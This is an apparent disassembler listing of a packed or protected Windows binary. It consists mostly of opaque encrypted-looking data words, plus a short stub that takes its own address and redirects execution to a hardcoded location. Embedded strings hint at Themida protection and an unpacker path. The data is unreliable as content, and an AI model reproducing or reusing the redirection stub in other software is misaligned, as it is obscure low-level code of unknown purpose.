		dd 0AFD3264Bh, 0B4C90E40h, 0CA8AA681h, 909CDCDFh, 3DCC8100h
		dd 305AE03Fh, 1171D211h, 4C82A0ECh, 706026AEh, 0C418C18Dh
		dd 4A69B0EDh, 0DCFA0008h, 3FF7352h, 9C03779Fh, 705CE8B8h
		dd 0E1CFA06Eh, 0B0B1EDh, 7EEE357Bh, 0AC7FBED7h,	5655A67Eh
		dd 79F402ECh, 58345840h, 0B5E440A0h, 0B9C23C09h, 600C906Ah
		dd 34A2002Eh, 41A48E47h, 0E23D463Dh, 4B230673h,	0F290F10h
		dd 0AABE59F3h, 0D62FDB60h, 0D0C0F08Fh, 40F22934h, 0B5470951h
		dd 0B002DDCEh, 610EF0Eh, 46A80030h, 0F44F5462h,	9419868Ch
		dd 0EF402760h, 1280FCCh, 0B42F035h, 814F58C0h, 0A87B12B1h
		dd 56FC7A9Ah, 63F206E0h, 216B37F4h, 0A90A70B0h,	0B46F098Fh
		dd 36020C22h, 2B581560h, 0DDB090EEh, 7F4B74C4h,	7FB70070h
		dd 0A042DFCEh, 9C001E6Bh, 0F9D662B1h, 3B33406Ah, 182E5A76h
		dd 0C7800218h, 0BC44EE7Ah, 1B791D00h, 94222D6Eh, 122075B9h
		dd 4E98D2h, 0F1ED5D57h,	0D777BC08h, 0FD0967E0h,	8449301Eh
		dd 5940BE50h, 9D16ECC0h, 3182700h, 30B25054h, 121CE85h
		dd 4B80994Eh, 0C8A51C41h, 1D8F3600h, 0A22DED8Dh, 0F0B45D5Dh
		dd 5AEE9C07h, 381159D6h, 3023E24Ch, 8D5100BDh, 94F9F65Bh
		dd 733B6FACh, 0CFD7807Ah, 0C98C9034h, 7DE0B082h, 0BF2051A0h
		dd 0D2644180h, 0CBB2C07Bh, 52356F00h, 8CA654B9h, 0FDF11F5Ah
		dd 0E0C34142h, 4066A37Dh, 5885E6FCh, 0B4E9BE02h, 0E6D75AAFh
		dd 844249D4h, 25B44583h, 0C6599198h, 0E2D84F02h, 0E0BADC01h
		dd 880C28F0h, 540A1965h, 0C8E0BF58h, 4C0B7597h,	78348A50h
		dd 0C42FCBC2h, 0F0C30038h, 0E74F2B9Ah, 7A00FF18h, 0AD551342h
		dd 1363C0C1h, 95CDD3Eh,	0E800E0F0h, 397F64EDh, 0B00C7818h
		dd 2E75E3A0h, 488847h, 611DE992h, 8E10B212h, 0C80A69C3h
		dd 1543E59h, 327F6E86h,	0BC40E6D1h, 3130F249h, 7802918Ah
		dd 5E400F16h, 3FE67F89h, 0C04C3906h, 0F0521727h, 0EEF66020h
		dd 0D8160030h, 0B2073DC7h, 6C710D45h, 0EACC7901h, 6DF0CA6Bh
		dd 5630A0D6h, 1C9A952h,	611C5E5Dh, 624F6660h, 0D46F0054h
		dd 0E1931415h, 6BE60036h, 0C9D7C10Fh, 3496EE1Bh, 2A8D80BDh
		dd 95F84EAEh, 354D0183h, 0A3D56662h, 0CB4C7002h, 6FCD7418h
		dd 39D93B08h, 1980AF9Fh, 0D0440FBDh, 5F500390h,	0C08BA8CCh
		dd 0CA7887h, 0C9E56876h, 0C8561C0Eh, 23F04725h,	0B08F205Ch
		dd 0CD690F3h, 594FBDD1h, 4EE854B9h, 3CE73600h, 97EF8C5h
		dd 9F1B0725h, 527C632Ch, 0A4AE0D1Fh, 0F96283A0h, 24141944h
		dd 12ECBF6Dh, 60C8B5EFh, 0DEAE03F2h, 7037F7C2h,	0C30BFBE0h
		dd 36A3F100h, 280E45A2h, 0CE610DEDh, 0E4406E4Ch, 0C200DC90h
		dd 795B869Ch, 33C8BE64h, 0CDE1B22Fh, 0BFC967F0h, 0C1A9BA00h
		dd 74C55E2Ch, 9622001Eh, 8DF68A3h, 7C9610F7h, 72C1B080h
		dd 44586353h, 0C9050151h, 0B25A4B92h, 0BF31BC81h, 28161BAh
		dd 82FF6284h, 0E1DE20BBh, 0B3D5A619h, 80481021h, 0F48E0796h
		dd 39768F4Bh, 56CA5800h, 0D21B44B2h, 0C031BB2Fh, 81C35Ah
		dd 99352D26h, 3674E5AEh, 0CA039307h, 0DF00078Fh, 2F27C3h
		dd 65B7383Ah, 0A611E8CBh, 0A430E018h, 0E5CF49h,	0F1C99098h
		dd 2845A332h, 0FB8C5401h, 0DD9E3765h, 6BED0460h, 8C073155h
		dd 0E9D7D13Ah, 0F20C31D8h, 8A593810h, 0B8009046h, 8EFBC5A8h
		dd 48706198h, 0B0716A54h, 0F6A009Ch, 9437DD49h,	24B9EE99h
		dd 0B4CBF3Ah, 81F5D47Bh, 3C59CB79h, 0B51C2C2Dh,	201F56BFh
		dd 4D340F7Ch, 19024CB8h, 533D8A71h, 38FC8439h, 0D54E0CC0h
		dd 0F56FC9Fh, 6745F11Ch, 3C84B26Fh, 3640C0E0h, 8F129988h
		dd 0F81EDB10h, 2D26D82Eh, 0F80A293Fh, 0D567D81h, 0D8300FF0h
		dd 48AA0036h, 6B2CF2A3h, 433FE96Ch, 8CB22449h, 8D55A05h
		dd 0AE1E8C21h, 383290F1h, 315A5C04h, 76DE4007h,	0F0F7220Ah
		dd 3F7B14AAh, 4007B40Ch, 0C4B4C67Fh, 6A4C2FEh, 124F421h
		dd 8886B448h, 0C1015E4Dh, 0EB47B1BBh, 0C520ACB0h, 94070764h
		dd 0C10292FFh, 0EAC478D0h, 0D0B1B450h, 4E6E6780h, 3B48293Dh
		dd 0CE9D6DA6h, 463782ABh, 0E4EE9Dh, 0A60F2E02h,	402B2210h
		dd 18A98EAh, 0CB915CB9h, 30C06A4Fh, 1D01E6B8h, 22AD4E9Dh
		dd 3AF0F4E3h, 93B211A8h, 1EF900C2h, 6487BF60h, 7F6B09B7h
		dd 38E4B4C0h, 11F9F100h, 0BB83B06Ch, 0C9E01E96h, 3800626Ah
		dd 723BE807h, 0F5CDB0h,	85F81E1Fh, 0B7BFD390h, 31578F13h
		dd 0AAE05C90h, 0B0A6FE52h, 0F8D63A8Ch, 0D43CEA14h, 80617818h
		dd 17009B40h, 9CC7BFF7h, 0A8711Eh, 0FD7F4128h, 0FBEE06Fh
		dd 0FF7B6EE0h, 3E720B00h, 35F043E8h, 0B9F20097h, 0CBBB8FC0h
		dd 2900A6DBh, 7D24CAE7h, 0FD9CC54h, 4A5FC256h, 555EB080h
		dd 0C97AE4EBh, 69E2071Fh, 72145403h, 0C377A098h, 68FE58C5h
		dd 6DF95500h, 7F43EBAFh
		dd 0F1253E00h, 5B94D9A4h, 8F541DE5h, 0B7B30190h, 984C04A6h
		dd 0FC387F90h, 611B0153h, 0AE36BEA5h, 0E84080ABh, 182CEE10h
		dd 9DAD000Bh, 3E753EFh,	3718840Eh, 7B69D9C6h, 256700BBh
		dd 2E6D71D0h, 84001EAAh, 257A8A0h, 0C076C9B4h, 7053B878h
		dd 39D8EDBEh, 63AFE0h, 0E8FFE121h, 0DFB9AF2h, 5E2EC3F8h
		dd 8263275h, 68A26F03h,	0DB1002Eh, 0FC633F94h, 0B0002CD6h
		dd 427DC6BDh, 77084D04h, 61D2606Dh, 0DE0A958Dh,	769CA800h
		dd 65CAA80h, 0C39D2ACEh, 0E0750FCCh, 0F1386C2Fh, 1500673Ch
		dd 5CEB1FDEh, 0C56320h,	5E2AB6B3h, 9B26B5C9h, 88486003h
		dd 0E7D84B97h, 0A3D8ECh, 0F7AEC9DFh, 0C3454987h, 2DEB6601h
		dd 47698092h, 3F62C6E0h, 8C00AAE9h, 1D6B3C16h, 8A313744h
		dd 0A3C2F05Eh, 2329CC0h, 6DFC4E61h, 9490ECCBh, 2B097554h
		dd 218BC3D9h, 0EABC6E24h, 1D1421BEh, 97060C80h,	1173040Eh
		dd 1B35A10Fh, 3A8B8025h, 16307B8h, 620F3779h, 301D1CECh
		dd 3218A333h, 56083E41h, 88A854B0h, 0FC820257h,	0B3E645D8h
		dd 0AD6EE481h, 0B0798C70h, 0A129AAh, 0EE2199C1h, 0BA4E849Ch
		dd 0AFE6110Ch, 0F6AD2191h, 0D6A50038h, 29BD74CDh, 7207476Eh
		dd 0FFE731Fh, 0D95FEBC0h, 90C6024Eh, 4106A6A3h,	538CF8A0h
		dd 0CF06FFFDh, 3A68BCF5h, 999C0019h, 39C34229h,	621C61F4h
		dd 97036A60h, 0E88AA52Ah, 1885D151h, 0C014212Fh, 0C37A615h
		dd 54C34132h, 1AA17C42h, 0FCD9D7BEh, 6DD28881h,	0E911E7ADh
		dd 0A000A7AFh, 0F2DCCEEEh, 68792EB6h, 59F07C18h, 14EFFEA0h
		dd 0CCCA6F4Dh, 0B7F56780h, 99188DF6h, 0D5794868h, 0D7F1004Dh
		dd 0B34C9598h, 2A3A13F6h, 89770452h, 88084FBh, 0F8C63B6h
		dd 0AFA696FDh, 80A9B504h, 675C5098h, 0E03A830Ah, 0B316B3F7h
		dd 0F888370Ah, 58992480h, 2ED36A91h, 435D1A6h, 809B4D9Ah
		dd 0BA9822B4h, 0DBFF6103h, 2E9E4F2Fh, 0CF6DD9h,	74E226CDh
		dd 3648EF68h, 61110680h, 0A7D1D5D1h, 295C80B8h,	0AF6E6035h
		dd 3A0891h, 305493C3h, 1F871D8Ch, 40B3259Ch, 0A8EF34Eh
		dd 9EE0FEC4h, 0FF008870h, 0F40138A3h, 260B35Eh,	5B2948D4h
		dd 5081AF69h, 0C13A35DAh, 56A02A22h, 6719C08Ch,	0C11BD464h
		dd 0ECF6D200h, 15462760h, 58C61F17h, 0FFE6408Fh, 0EDFAD5Ah
		dd 9AA3C501h, 7653BA68h, 0A5CCCC20h, 0F6FFFF01h, 0C0h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_583DBA:				; CODE XREF: start:loc_515265j
					; DATA XREF: start:loc_515086o
		jmp	loc_587353
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 94h
		dd 7C90EBh, 6 dup(0)
		dd 0DF029600h, 0A9C530h, 2 dup(0)
		dd 0E8000000h, 529AB2h,	0
		dd 77000000h, 237C801Dh, 5C00h,	0
		dd 0A6000000h, 99C7Dh, 5B000000h, 76B44Eh, 9 dup(0)
		dd 1E000000h, 5D3Dh, 0
		dd 14000000h, 1D001150h, 0F6h, 3 dup(0)
		dd 47000000h, 947C809Bh, 0AD7C90EBh, 947E41A8h,	7C90EBh
		dd 94000000h, 7C90EBh, 0
		dd 0E6000000h, 0F2005C14h, 7C814Ah, 7 dup(0)
		dd 4F000000h, 0F7F547h,	0E6000000h, 0FFA19Fh, 6	dup(0)
		dd 0A800h, 7 dup(0)
		dd 47000000h, 0E97C809Bh, 1C8h,	0E4000000h, 0B38Eh, 3 dup(0)
		dd 0CE000000h, 0
		dd 43000000h, 5C5Fh, 4 dup(0)
		dd 0E0000000h, 500012FFh, 3AB056h, 0
		dd 0FA000000h, 45D5C7h,	0
		dd 0DF000000h, 0A9C530h, 37000000h, 0E4A3D6h, 6	dup(0)
		dd 1000000h, 0Dh dup(0)
		dd 0B3000000h, 15h, 8 dup(0)
		align 8
		dd 76F217h, 0Eh	dup(0)
		dd 3000000h, 0FAh, 0
		dd 92000000h, 5B6Dh, 8 dup(0)
		dd 0FD000000h, 0FF4C05h, 0FE000000h, 5B17h, 0
		dd 0AC000000h, 5CECh, 0
		dd 4B000000h, 5C37h, 2 dup(0)
		dd 74000000h, 3F865559h, 6C7EFFh, 8000000h, 0B3B5h, 88000000h
		dd 0F9A6A90Ah, 7C90DDh,	94000000h, 7C90EBh, 5 dup(0)
		dd 94000000h, 337C90EBh, 2 dup(33333333h), 65333333h, 200000B9h
		dd 796124h, 2 dup(0)
		dd 6000000h, 4 dup(0)
		dd 0B0000000h, 254FFh, 2 dup(0)
		dd 0A5000000h, 43097D8Eh, 5F6D5C3Ah, 61706E75h,	72656B63h
		dd 83h dup(0)
		dd 2B0h, 65h dup(0)
		dd 94000000h, 7C90EBh, 43000000h, 56h, 7 dup(0)
		dd 0E9000000h, 9Dh, 4 dup(0)
		dd 94000000h, 7C90EBh, 3000000h, 0B3FAh, 1D000000h, 71FFA797h
		dd 76DB5Fh, 0Ah	dup(0)
		dd 5B000000h, 79BF32h, 5 dup(0)
		dd 48000000h, 5E66h, 2 dup(0)
		dd 0FC000000h, 386CBBh,	2 dup(0)
		dd 9E000000h, 5D0610h, 5 dup(0)
		dd 0E7000000h, 0E7E4165Ah, 0AD0002C7h, 82FF6Fh,	0
		dd 20000000h, 5E4Ch, 0
		dd 88000000h, 0B0005BA7h, 1A4FFh, 9 dup(0)
		dd 4A000000h, 4D5864h, 5 dup(0)
		dd 0B7000000h, 5FDDh, 0
		dd 0FE000000h, 0BB0Ah, 89000000h, 70FFA3DCh, 7,	3 dup(0)
		dd 30000000h, 0E8005843h, 529AB2h, 7 dup(0)
		dd 94000000h, 7C90EBh, 3 dup(0)
		dd 7000000h, 0DE99EEh, 0
		dd 38000000h, 26h, 2 dup(0)
		dd 20000000h, 0B38Dh, 3	dup(0)
		dd 92000000h, 0FFFEF4h,	4 dup(0)
		dd 4000000h, 6 dup(0)
		dd 31000000h, 6100h, 2 dup(0)
		dd 0FD000000h, 0FF4C05h, 0EE027000h, 5DA6h, 56000000h
		dd 3D47AA11h, 52703808h, 179h, 0Bh dup(0)
		dd 0E6000000h, 5C14h, 0
		dd 68000000h, 7A6ADCh, 2 dup(0)
		dd 0FE000000h, 0BB0Ah, 4 dup(0)
		dd 0E8000000h, 1529AB2h, 0C0000000h, 5DC8h, 0
		dd 0D4000000h, 94005CC9h, 7C90EBh, 0FF000000h, 0FFFFFFh
		dd 1Ah dup(0)
		dd 0E8000000h, 529AB2h,	0Fh dup(0)
		dd 92000000h, 5B6Dh, 3 dup(0)
		dd 76000000h, 5878h, 6 dup(0)
		dd 27000000h, 0A9h, 4 dup(0)
		dd 3B000000h, 94005CF9h, 7C90EBh, 0
		dd 0AD000000h, 7E41A8h,	3 dup(0)
		dd 2C000000h, 25500h, 0A7000000h, 5C58h, 0
		dd 0A2000000h, 587Ch, 34000000h, 600Bh,	2 dup(0)
		dd 0B300h, 2 dup(0)
		dd 0B1000000h, 0D8h, 9 dup(0)
		dd 71000000h, 76DB5Fh, 2 dup(0)
		dd 0CF000000h, 0C17C80B4h, 7C80ABh, 4 dup(0)
		dd 18000000h, 0B329h, 0
		dd 6C000000h, 836F14h, 6 dup(0)
		dd 48000000h, 5EBDh, 65000000h,	7CED5Ch, 5 dup(0)
		dd 0E000000h, 5DB3h, 0A000000h,	60ECh, 0
		dd 3D000000h, 27703808h, 0FFA162h, 1B000000h, 5846h, 0B0000000h
		dd 1C4FFh, 4 dup(0)
		dd 0E8000000h, 529AB2h,	0
		dd 7000000h, 5BA5h, 4 dup(0)
		dd 0D4000000h, 42F3E8A3h, 0B318h, 0
		dd 5000000h, 89h, 0DE000000h, 47C80ABh,	5F68h, 0
		dd 0EE1114h, 44000000h,	0C246DAh, 2 dup(0)
		dd 0BA000000h, 5F81h, 0C4000000h, 12FFh, 4 dup(0)
		dd 5C00h, 3D000000h, 4774B45Fh,	447C809Bh, 900000DAh, 24h
		dd 8 dup(0)
		dd 23000000h, 5800h, 5 dup(0)
		dd 37000000h, 445D2Bh, 40002330h, 13A0E4h, 2Bh dup(0)
		dd 0E9000000h, 20Eh, 6 dup(0)
		dd 10000000h, 9476F215h, 7C90EBh, 2 dup(0)
		dd 0C2000000h, 5513h, 0A8000000h, 0FD1B96h, 4 dup(0)
		dd 0B6000000h, 5B1Dh, 6	dup(0)
		dd 0F0000000h, 0FFFFD8h, 2 dup(0)
		dd 88000000h, 5	dup(0)
		dd 1A000000h, 0FFA3EBh,	10h dup(0)
		dd 0E000000h, 5FDCh, 94000000h,	7C90EBh, 4 dup(0)
		dd 70000000h, 3, 1C000000h, 26h, 0Bh dup(0)
		dd 0D9000000h, 5B1Ah, 2	dup(0)
		dd 0FE000000h, 3A00BB0Ah, 2982D2h, 0B7000000h, 0A076F5h
		dd 2 dup(0)
		dd 27000000h, 0A9h, 36000000h, 94000080h, 0CC000000h, 0B33Eh
		dd 94000000h, 5B00003Dh, 76F36Ch, 4 dup(0)
		dd 67000000h, 0E80917h,	0B0000000h, 97AB668h, 0F17C812Ah
		dd 0FFA3E7h, 0
		dd 0E6000000h, 5C14h, 8C000000h, 0E60D137Eh, 30005C14h
		dd 5CBAh, 2 dup(0)
		dd 0DC000000h, 0EB742Bh, 0E6000000h, 0E9005C14h, 2D19EFh
		dd 94000000h, 7C90EBh, 0E6000000h, 95005C14h, 9AF4C1h
		dd 19000000h, 6	dup(0)
		dd 0F7000000h, 92005854h, 5B6Dh, 7 dup(0)
		dd 0EB000000h, 19h, 2 dup(0)
		dd 54000000h, 696D6568h, 6164h,	1Dh dup(0)
		dd 27000000h, 7C90E0h, 2 dup(0)
		dd 14000000h, 1C089h, 9	dup(0)
		dd 6B000000h, 6BD3CAh, 2Ah dup(0)
		dd 43000000h, 43A65Fh, 3 dup(0)
		dd 3000000h, 80000FAh, 14h, 0A3000000h,	0FFFFE4h, 0FF000000h
		dd 0B388h, 91000000h, 0FF59C8D8h, 0C8D87h, 0
		dd 57000000h, 7C8049h, 3 dup(0)
		dd 27000000h, 0A9h, 0FB000000h,	0F577ED4Bh, 395B6Eh, 2 dup(0)
		dd 11000000h, 111111h, 0Ah dup(0)
		dd 0B7000000h, 5FB1h, 0
		dd 50000000h, 0FD9200h,	4000h, 4 dup(0)
		dd 7C000000h, 18B954h, 0Ah dup(0)
		dd 0E6000000h, 94005C14h, 7C90EBh, 7C000000h, 5E50h, 3 dup(0)
		dd 92000000h, 7CFFEA02h, 18000000h, 0FEF337h, 0Dh dup(0)
		dd 0C0000000h, 5BF1h, 2	dup(0)
		dd 8B000000h, 0DE85B1h,	84000000h, 0
		dd 0E9000000h, 20Eh, 0Ah dup(0)
		dd 0C0000000h, 5BF1h, 2	dup(0)
		dd 64000000h, 5C8Dh, 4 dup(0)
		dd 54027100h, 0F80012FFh, 5C14h, 0
		dd 37000000h, 445D2Bh, 32000000h, 0B68Bh, 0DE000000h, 37006176h
		dd 0AF00B3FAh, 7D0690h,	0ED000000h, 5C61h, 0D9000000h
		dd 5B1Ah, 3 dup(0)
		dd 0E8000000h, 0B26Eh, 2 dup(0)
		dd 0DA000000h, 0F17C81CDh, 5FFDh, 8 dup(0)
		dd 26000000h, 0FF473Ch,	3 dup(0)
		dd 3000000h, 4300B3FAh,	49575C3Ah, 574F444Eh, 79735C53h
		dd 6D657473h, 415C3233h, 50415644h, 2E323349h, 6C6C64h
		dd 3Ch dup(0)
		dd 43000000h, 5Fh, 3 dup(0)
		dd 0EE000000h, 5DF5h, 2	dup(0)
		dd 0D4000000h, 25E6Dh, 90000000h, 5DE1h, 2 dup(0)
		dd 18000000h, 0AD654Dh,	6 dup(0)
		dd 33000000h, 194AB3h, 0CA000000h, 0D6254Fh, 8 dup(0)
		dd 0E3000000h, 51EF91h,	4 dup(0)
		dd 0B300h, 86000000h, 114348h, 44000000h, 0DD515Ch, 0
		dd 0A6000000h, 5DF4h, 0B0000000h, 174FFh, 6 dup(0)
		dd 47000000h, 0EC7C809Bh, 0B337h, 0Bh dup(0)
		dd 0A0000000h, 3 dup(0)
		dd 18000000h, 1005CEAh,	0
		dd 23000000h, 5C00h, 4 dup(0)
		dd 0D4000000h, 0FFFF0Eh, 2 dup(0)
		dd 19000000h, 80h, 0E5000000h, 5900B931h, 27005E74h, 0A9h
		dd 0
		dd 0B000000h, 0DA025E6Eh, 7C8111h, 4 dup(0)
		dd 0A000000h, 60ECh, 2 dup(0)
		dd 0F7000000h, 84116554h, 93005DF6h, 34F6B1h, 0BD000000h
		dd 41BC59A0h, 3410Bh, 4	dup(0)
		dd 7E4100h, 9 dup(0)
		dd 0C8000000h, 12FEh, 25500h, 5	dup(0)
		dd 92000000h, 5B6Dh, 0
		dd 8C000000h, 0
		dd 0BF000000h, 0FF43E6h, 23000000h, 5800h, 0FE000000h
		dd 100BB0Ah, 2 dup(0)
		dd 9C000000h, 54000000h, 0B80012FFh, 0
; ---------------------------------------------------------------------------
		or	eax, eax
		jz	short loc_585503
		retn	18h
; ---------------------------------------------------------------------------


loc_585503:				; CODE XREF: sdfs____:005854FEj
		mov	eax, [esp+0Ch]
		push	ebx
		call	$+5
		pop	ebx
		add	ebx, 17h
		mov	[esp+10h], ebx
		mov	[esp+14h], eax
		pop	ebx
		mov	eax, 0B3FA37h
		jmp	eax
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		dd 12h dup(0)
		dd 4000000h, 0D5EABFh, 2 dup(0)
		dd 0FE000000h, 0BB0Ah, 3 dup(0)
		dd 60000000h, 5BA7h, 0
		dd 0BC000000h, 71EDD9h,	0B6000000h, 0FB2A79Bh, 0B318h
		dd 2 dup(0)
		dd 0E0000000h, 12FFh, 0
		dd 5C000000h, 94FFED00h, 797C90EBh, 35956F5h, 5CFAh, 0
		dd 0F0000000h, 0B319h, 0F8000000h, 4 dup(0)
		dd 87000000h, 5853h, 0
		dd 0A2000000h, 0ECE4E2A8h, 2, 8	dup(0)
		dd 36000000h, 363636h, 9 dup(0)
		dd 0B0000000h, 164FFh, 0
		dd 0AC000000h, 94000000h, 7C90EBh, 0FC000000h, 0ABF9h
		dd 4 dup(0)
		dd 4F0h, 43000000h, 43A65Fh, 6 dup(0)
		dd 6C000000h, 38836F14h, 0B5A7C4h, 0
		dd 0B3000000h, 53D1D5h,	0D9000000h, 0FFFF56h, 3	dup(0)
		dd 0D9000000h, 5E9Dh, 0
		dd 4000h, 5 dup(0)
		dd 2000000h, 0AA000000h, 350285h, 3 dup(0)
		dd 0A1000000h, 0B3AEh, 94000000h, 0EBh,	8A7C9000h, 7C2FFFh
		dd 0Ah dup(0)
		dd 0F0000000h, 0A4025E6Eh, 12FFh, 3 dup(0)
		dd 5C000000h, 3Ch, 2 dup(0)
		dd 78000000h, 0B891h, 0
		dd 0DE000000h, 6176h, 2	dup(0)
		dd 0F8000000h, 5DE3h, 5	dup(0)
		dd 90000000h, 5D8737h, 20000000h, 0FFFFD2h, 0Fh	dup(0)
		dd 20000000h, 0B319h, 6	dup(0)
		dd 2F000000h, 5843h, 2 dup(0)
		dd 26F00h, 98000000h, 4	dup(0)
		dd 44000000h, 68h, 2 dup(0)
		dd 47000000h, 0D7E27A2h, 7A00B68Bh, 77F1E21Ah, 5C23h, 6	dup(0)
		dd 0E6000000h, 0F7005C14h, 116554h, 0DB000000h,	33005CD1h
		dd 194AB3h, 4 dup(0)
		dd 51000000h, 0B38Eh, 0F2000000h, 0A42F82h, 2 dup(0)
		dd 0FE000000h, 53CF7Eh,	0Dh dup(0)
		dd 94000000h, 5E7C90EBh, 0DC005E63h, 5FF2h, 0
		dd 1000000h, 0
		dd 2F000000h, 5CBAh, 0E000000h,	7C8018h, 2 dup(0)
		dd 0AC000000h, 52FFED00h, 61747365h, 70417472h,	78652E70h
		dd 65h,	2 dup(0)
		dd 0BE000000h, 5C35h, 27004010h, 0FFA19Bh, 0FE000000h
		dd 3753CF7Eh, 77DDEEh, 5 dup(0)
		dd 18000000h, 7C90EEh, 2 dup(0)
		dd 0E0000000h, 1FFFFA2h, 0
		dd 0C5000000h, 7CD08Ah,	3 dup(0)
		dd 0E9000000h, 24000180h, 0B30Eh, 0
		dd 78000000h, 0B628h, 2	dup(0)
		dd 38000000h, 5D4Dh, 2 dup(0)
		dd 84000000h, 7673B732h, 0E4005878h, 5864h, 3 dup(0)
		dd 0A9000000h, 0D5F8CDBDh, 337h, 5 dup(0)
		dd 2D000000h, 6106h, 4 dup(0)
		dd 0E6000000h, 1005C14h, 5 dup(0)
		dd 0DF000000h, 0A9C530h, 0
		dd 0EC000000h, 7635A2h,	0
		dd 94000000h, 0A17C90EBh, 4B346Fh, 0
		dd 27000000h, 0A9h, 2 dup(0)
		dd 2000000h, 514B37F0h,	5D18h, 6 dup(0)
		dd 44000000h, 29C246DAh, 43000000h, 5Fh, 2 dup(0)
		dd 75000000h, 49h, 5D000000h, 0B413DFD4h, 0Fh, 0Fh dup(0)
		dd 0B000000h, 25E6Eh, 0
		dd 0AD000000h, 0B5FCh, 3 dup(0)
		dd 83000000h, 177DD78h,	7C8000h, 2 dup(0)
		dd 68000000h, 46DCF26Eh, 5CDBh,	0
		dd 94000000h, 7C90EBh, 8 dup(0)
		dd 51000000h, 0DF37CA5Dh, 30h, 4 dup(0)
		dd 0FE000000h, 0BB0Ah, 1000000h, 0
		dd 7C000000h, 0
		dd 0E4000000h, 0FF4E8Dh, 0F1000000h, 5FFDh, 0Dh	dup(0)
		dd 14000000h, 8Ch, 0
		dd 0D9000000h, 1A59C3h,	11h dup(0)
		dd 78000000h, 55A131Ch,	7 dup(0)
		dd 0FF000000h, 0FFFFFFh, 0
		dd 0F000000h, 0B318h, 0
		dd 0C300h, 7 dup(0)
		dd 6C000000h, 836F14h, 2 dup(0)
		dd 0DD000000h, 5F48h, 0
		dd 0B7000000h, 0F005FDDh, 0B93Fh, 0Ah dup(0)
		dd 80000000h, 2	dup(0)
		dd 24000000h, 7C801Ah, 0Ch dup(0)
		dd 0E1000000h, 0F7A24188h, 0BC00B61Ch, 0
		dd 33000000h, 5E66h, 0Ah dup(0)
		dd 1000000h, 0
		dd 25000000h, 0B300B30Ah, 5DA3h, 2 dup(0)
		dd 68000000h, 2	dup(0)
		dd 30h,	2 dup(0)
		dd 96000000h, 5DA4h, 0B9000000h, 7F837F64h, 197609h, 94000000h
		dd 7C90EBh, 2 dup(0)
		dd 94000000h, 7C90EBh, 0
		dd 0FE000000h, 53CF7Eh,	74000000h, 0A3000000h, 27CDA680h
		dd 0A9h, 3 dup(0)
		dd 0B6000000h, 0B2A79Bh, 4 dup(0)
		dd 76000000h, 5878h, 0
		dd 1000000h, 200h, 4 dup(0)
		dd 14000000h, 9A28A000h, 5880h,	2 dup(0)
		dd 0B6000000h, 68B57Fh,	3 dup(0)
		dd 0D9000000h, 48BAD5A5h, 0FFFF85h, 0EC000000h,	5E64h
		dd 5 dup(0)
		dd 94000000h, 7C90EBh, 3 dup(0)
		dd 7A000000h, 9, 0A8000000h, 300144Bh, 29h, 2 dup(0)
		dd 0FE000000h, 0BB0Ah, 2 dup(0)
		dd 54000000h, 4B0012FFh, 5DF6h,	2 dup(0)
		dd 9A000000h, 5C2Dh, 0
		dd 7E000000h, 0F1005F47h, 0A7h,	4 dup(0)
		dd 23000000h, 5C00h, 6 dup(0)
		dd 0EB000000h, 5E4Dh, 3	dup(0)
		dd 28000000h, 0B38Bh, 3	dup(0)
		dd 0BC000000h, 12FEh, 2	dup(0)
		dd 3A000000h, 2982D2h, 5D000000h, 5AC7E9h, 6 dup(0)
		dd 18000000h, 0BD7C90EEh, 0D9747Ah, 61000000h, 5C80h, 7A000000h
		dd 42F1E21Ah, 0E5072DDAh, 0F0C179h, 4 dup(0)
		dd 14000000h, 5E2Bh, 15h dup(0)
		dd 0A4000000h, 2 dup(0)
		dd 17000000h, 0D000B394h, 4001h, 0
		dd 5D000000h, 7632597Fh, 5E03h,	5 dup(0)
		dd 68000000h, 5D7Eh, 2 dup(0)
		dd 89000000h, 0DEFE0Fh,	3 dup(0)
		dd 37000000h, 500090h, 0
		dd 0FC000000h, 68h, 2 dup(0)
		dd 0E5000000h, 50006010h, 86A1E8h, 0Fh dup(0)
		dd 20000000h, 0FC00B319h, 7C8047h, 2 dup(0)
		dd 2C000000h, 0FFFFF1h,	5F64h, 4 dup(0)
		dd 58000000h, 7C863Fh, 2 dup(0)
		dd 0ED000000h, 5BA4h, 7	dup(0)
		dd 0C1000000h, 5C4Fh, 0ED000000h, 5FC2h, 5F000000h, 5C15h
		dd 4 dup(0)
		dd 8000000h, 0Fh, 20h, 0
		dd 18000000h, 7C90EEh, 1Ch dup(0)
		dd 0B5000000h, 0F830F4h, 0E0000000h, 6CFFA45Fh,	7 dup(0)
		dd 44000000h, 0C246DAh,	0
		dd 0A0000000h, 147C80ADh, 28A000h, 19h dup(0)
		dd 90000000h, 5EDCF3h, 44000000h, 0F00B31Ah, 0B318h, 8 dup(0)
		dd 92000000h, 5B6Dh, 0
		dd 6C000000h, 0A3836F14h, 51001980h, 5FC6h, 2 dup(0)
		dd 7E000000h, 2	dup(0)
		dd 0AC000000h, 4 dup(0)
		dd 0B0000000h, 401F4FFh, 4 dup(0)
		dd 4000000h, 0
		dd 47000000h, 0DE7C809Bh, 49D82Ah, 18000000h, 7C90EEh
		dd 0B7000000h, 0D0B8C84Fh, 0B22A8Ch, 5 dup(0)
		dd 27000000h, 0A9h, 2 dup(0)
		dd 0E4000000h, 0FFFF98h, 7 dup(0)
		dd 3000000h, 0FAh, 0EF000000h, 0BB0Ah, 1000000h, 46000000h
		dd 581B0Ch, 0
		dd 47000000h, 89B3EAh, 6C026F00h, 836F14h, 74000000h, 7C9348h
		dd 2 dup(0)
		dd 0E0000000h, 110012FFh, 2, 0
		dd 87000000h, 0C400A9D2h, 7C7DEEh, 2E000000h, 5E00h, 2 dup(0)
		dd 44000000h, 0C246DAh,	0ED7C8000h, 0B7005C61h,	5FDDh
		dd 6 dup(0)
		dd 9C000000h, 937CDFEFh, 0B424h, 0
		dd 94000000h, 7C90EBh, 1000000h, 6C000000h, 0Fh, 0AFh dup(0)
		dd 45000000h, 187C8379h, 70000008h, 18000000h, 7C90EEh
		dd 3C000000h, 0B31Ah, 7000000h,	0FFA380h, 0
		dd 44000000h, 0FFFFFFh,	0
		dd 78000000h, 0Ah dup(0)
		dd 94000000h, 7C90EBh, 8D000000h, 1E108Dh, 23000000h, 5C00h
		dd 0
		dd 0FA000000h, 1005C51h, 94000000h, 7C90EBh, 3 dup(0)
